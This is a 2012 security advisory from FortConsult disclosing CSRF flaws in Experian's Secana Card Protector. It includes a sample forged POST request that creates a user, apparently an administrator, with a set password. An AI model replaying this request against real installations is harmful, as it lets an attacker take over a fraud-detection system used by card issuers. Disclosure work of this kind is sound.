SECURITY ADVISORY

ID: FCSA1202

Secana Card Protector

Cross Site Request Forgery (CSRF) vulnerabilities

Background

Experian offers Secana Card Protector, which uses the power of transactional surveillance to screen authorisations and highlight unusual behaviour and card usage, such as the value, volume, type, frequency or location of transactions.

Analysts can then identify common points of purchase and linked cases to take preventative action at the source of the fraud to reduce losses.

Developed by fraud analysts, Secana Card Protector has been specifically designed for card issuers and is a complete solution for issuers and processor services with certification by VISA in Europe. It offers excellent analyst support for highly effective fraud detection, with users reporting detection of up to 86% of counterfeit fraud.

Backed by the comprehensive Secana Community package, it supports the implementation, operation and continual improvement of a highly effective transaction fraud prevention solution.

http://www.experian-da.com/solutions/card_transaction_fraud.html

Description

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

Analysis

As there is no CSRF protection a malicious hacker can for example add users by a CSRF attack. A malicious hacker can for example create an administrative user in the application by attacking a current administrator with CSRF.

Exploit

A POST example:

```
POST /auth/users/edit/ HTTP/1.1
Host: secana.test.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1
```

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: https://secana.test.com/auth/users/edit/
Cookie: AF_SID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

action=Save+as&user_id=&username=zFORTCONSULTA&full_username=zFORTCONSULTA&email=&password=Start1234&default_group_id=1

CVE Reference

N/A at the release time.

Disclosure Timeline

22 February 2012 – Vulnerability found.

February 2012 – Vendor Notification by a 3rd party.

13 March 2012 – Public Disclosure.

The Security Research Team

This advisory has been discovered by FortConsult's Security Research Team/Yaniv Miron & Marcel Carlsson.

About FortConsult

FortConsult provides independent security assessment services, including penetration testing and PCI DSS assessment service internationally to customers, such as financial services companies, banks, acquirers, service providers and merchants.

See www.fortconsult.com for more information about FortConsult.

Or contact us at +45 7020 7525 or info@fortconsult.net.

Copyright and Disclaimer

The information in this advisory is Copyright FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL).

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.